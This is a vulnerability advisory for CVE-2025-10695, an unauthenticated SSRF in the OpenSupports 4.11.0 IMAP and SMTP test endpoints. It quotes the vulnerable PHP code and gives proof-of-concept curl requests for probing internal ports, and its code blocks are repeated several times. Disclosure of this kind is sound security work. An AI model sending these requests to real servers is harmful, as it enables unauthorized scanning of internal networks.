Description
Two unauthenticated diagnostic endpoints allow arbitrary backend-initiated network connections to attacker‑supplied destinations:
POST /api/system/test-imap calls imap_open() with user‑controlled imap-host, imap-user, and imap-pass without any destination restrictions.
POST /api/system/test-smtp uses PHPMailer to connect to a user‑supplied smtp-host via SMTP, again without restrictions.
Both endpoints are exposed with permission => 'any', enabling unauthenticated SSRF for internal network scanning and service interaction.
Vulnerability
Relevant backend fragments:
server/controllers/system/test-imap.php
class TestIMAPController extends Controller {
const PATH = '/test-imap';
const METHOD = 'POST';
public function validations() {
return [ 'permission' => 'any', 'requestData' => [] ];
}
public function handler() {
if(imap_open(Controller::request('imap-host'),
Controller::request('imap-user'),
Controller::request('imap-pass'))) {
Response::respondSuccess();
} else {
throw new RequestException(ERRORS::IMAP_CONNECTION);
}
}
}class TestIMAPController extends Controller {
const PATH = '/test-imap';
const METHOD = 'POST';
public function validations() {
return [ 'permission' => 'any', 'requestData' => [] ];
}
public function handler() {
if(imap_open(Controller::request('imap-host'),
Controller::request('imap-user'),
Controller::request('imap-pass'))) {
Response::respondSuccess();
} else {
throw new RequestException(ERRORS::IMAP_CONNECTION);
}
}
}class TestIMAPController extends Controller {
const PATH = '/test-imap';
const METHOD = 'POST';
public function validations() {
return [ 'permission' => 'any', 'requestData' => [] ];
}
public function handler() {
if(imap_open(Controller::request('imap-host'),
Controller::request('imap-user'),
Controller::request('imap-pass'))) {
Response::respondSuccess();
} else {
throw new RequestException(ERRORS::IMAP_CONNECTION);
}
}
}class TestIMAPController extends Controller {
const PATH = '/test-imap';
const METHOD = 'POST';
public function validations() {
return [ 'permission' => 'any', 'requestData' => [] ];
}
public function handler() {
if(imap_open(Controller::request('imap-host'),
Controller::request('imap-user'),
Controller::request('imap-pass'))) {
Response::respondSuccess();
} else {
throw new RequestException(ERRORS::IMAP_CONNECTION);
}
}
}server/controllers/system/test-smtp.php and server/libs/MailSender.php
class TestSMTPController extends Controller {
const PATH = '/test-smtp'; const METHOD = 'POST';
public function validations() { return [ 'permission' => 'any', 'requestData' => [] ]; }
public function handler() {
$mailSender = MailSender::getInstance();
$mailSender->setConnectionSettings(
Controller::request('smtp-host'),
Controller::request('smtp-user'),
Controller::request('smtp-pass'), ''
);
if($mailSender->isConnected()) Response::respondSuccess();
else throw new RequestException(ERRORS::SMTP_CONNECTION);
}
}
$this->mailerInstance->SMTPOptions = [ 'ssl' => [
'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true
]];class TestSMTPController extends Controller {
const PATH = '/test-smtp'; const METHOD = 'POST';
public function validations() { return [ 'permission' => 'any', 'requestData' => [] ]; }
public function handler() {
$mailSender = MailSender::getInstance();
$mailSender->setConnectionSettings(
Controller::request('smtp-host'),
Controller::request('smtp-user'),
Controller::request('smtp-pass'), ''
);
if($mailSender->isConnected()) Response::respondSuccess();
else throw new RequestException(ERRORS::SMTP_CONNECTION);
}
}
$this->mailerInstance->SMTPOptions = [ 'ssl' => [
'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true
]];class TestSMTPController extends Controller {
const PATH = '/test-smtp'; const METHOD = 'POST';
public function validations() { return [ 'permission' => 'any', 'requestData' => [] ]; }
public function handler() {
$mailSender = MailSender::getInstance();
$mailSender->setConnectionSettings(
Controller::request('smtp-host'),
Controller::request('smtp-user'),
Controller::request('smtp-pass'), ''
);
if($mailSender->isConnected()) Response::respondSuccess();
else throw new RequestException(ERRORS::SMTP_CONNECTION);
}
}
$this->mailerInstance->SMTPOptions = [ 'ssl' => [
'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true
]];class TestSMTPController extends Controller {
const PATH = '/test-smtp'; const METHOD = 'POST';
public function validations() { return [ 'permission' => 'any', 'requestData' => [] ]; }
public function handler() {
$mailSender = MailSender::getInstance();
$mailSender->setConnectionSettings(
Controller::request('smtp-host'),
Controller::request('smtp-user'),
Controller::request('smtp-pass'), ''
);
if($mailSender->isConnected()) Response::respondSuccess();
else throw new RequestException(ERRORS::SMTP_CONNECTION);
}
}
$this->mailerInstance->SMTPOptions = [ 'ssl' => [
'verify_peer' => false, 'verify_peer_name' => false, 'allow_self_signed' => true
]];Impacts
Internal port scanning and service enumeration (loopback and RFC1918): attacker can distinguish open/closed ports via timing and error messages (e.g., IMAP/SMTP banners vs. connection failures).
Reachability of internal-only services: IMAP string supports {host: port/flags}INBOX with /novalidate-cert, allowing connections to arbitrary TCP endpoints from the server’s network context.
Potential credential exposure opportunities in misconfigured environments (e.g., targeting internal SMTP relay with permissive policies). While this PoC does not exfiltrate secrets, the SSRF primitive is general‑purpose.
Amplified reconnaissance: unauthenticated access lowers the bar for automated scanning and chaining with other issues (e.g., calling into metadata services in certain cloud environments if reachable).
PoC
IMAP SSRF — closed vs open service timing/errors.
# Closed port (e.g., 1): should fail fast
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:1/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'
# Likely open or responsive port (adapt as needed):
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:80/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'# Closed port (e.g., 1): should fail fast
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:1/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'
# Likely open or responsive port (adapt as needed):
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:80/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'# Closed port (e.g., 1): should fail fast
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:1/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'
# Likely open or responsive port (adapt as needed):
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:80/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'# Closed port (e.g., 1): should fail fast
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:1/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'
# Likely open or responsive port (adapt as needed):
curl -sS -X POST \
'http://localhost:5543/api/system/test-imap' \
-d 'imap-host={127.0.0.1:80/novalidate-cert}INBOX' \
-d 'imap-user=a' -d 'imap-pass=b'SMTP SSRF — distinguish open/closed ports via connection outcome:
# Closed port
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:1' -d 'smtp-user=a' -d 'smtp-pass=b'
# Typical SMTP port (may time out or fail differently depending on host)
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:25' -d 'smtp-user=a' -d 'smtp-pass=b'
# Closed port
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:1' -d 'smtp-user=a' -d 'smtp-pass=b'
# Typical SMTP port (may time out or fail differently depending on host)
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:25' -d 'smtp-user=a' -d 'smtp-pass=b'
# Closed port
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:1' -d 'smtp-user=a' -d 'smtp-pass=b'
# Typical SMTP port (may time out or fail differently depending on host)
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:25' -d 'smtp-user=a' -d 'smtp-pass=b'
# Closed port
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:1' -d 'smtp-user=a' -d 'smtp-pass=b'
# Typical SMTP port (may time out or fail differently depending on host)
curl -sS -X POST \
'http://localhost:5543/api/system/test-smtp' \
-d 'smtp-host=127.0.0.1:25' -d 'smtp-user=a' -d 'smtp-pass=b'
IMAP examples (real output snippets):
Closed port: { "status": "fail" ,"message" :"imap_open(): Couldn't open stream {127.0.0.1:1/novalidate-cert}INBOX" }
Open/other service: request timing and error messages differ, evidencing reachability.
SMTP examples:
Closed port: { "status": "fail" , "message": "SMTP_CONNECTION" } quickly.
Port 80: longer timing/connection failure (non‑SMTP), useful for probing.
Evidence of Exploitation
Server response with an open port.

Server response while the port is closed.

Our security policy
We have reserved the ID CVE-2025-10695 to refer to this issue from now on.
System Information
OpenSupports
Version 4.11.0
Operating System: Any
References
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.